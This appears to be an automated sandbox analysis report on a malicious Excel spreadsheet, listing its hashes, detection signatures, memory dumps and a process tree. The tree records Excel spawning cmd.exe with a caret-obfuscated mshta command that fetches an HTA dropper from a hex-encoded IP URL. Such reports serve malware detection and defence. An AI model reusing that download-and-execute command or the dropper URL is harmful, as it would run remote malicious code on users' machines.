Analysis

  • max time kernel
    131s
  • max time network
    165s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    25-01-2022 15:05

General

  • Target

    561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls

  • Size

    70KB

  • MD5

    74ef2589b372f105b31d69b352aec951

  • SHA1

    2f12a5d662ee51bf73e7ddc2e04c7c018f367e36

  • SHA256

    561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3

  • SHA512

    a5b2124f45034be6c2450a0623439fddf8251f431057ab004da9601f07f814ff6a5db6dbd74f09486ee5ed129a7c514effb999db0181161acaee856f529c7c4b

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        PID:3212

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3760-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-119-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-121-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-124-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-131-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

    Filesize

    64KB

  • memory/3760-132-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

    Filesize

    64KB

  • memory/3760-290-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-291-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-292-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB

  • memory/3760-293-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

    Filesize

    64KB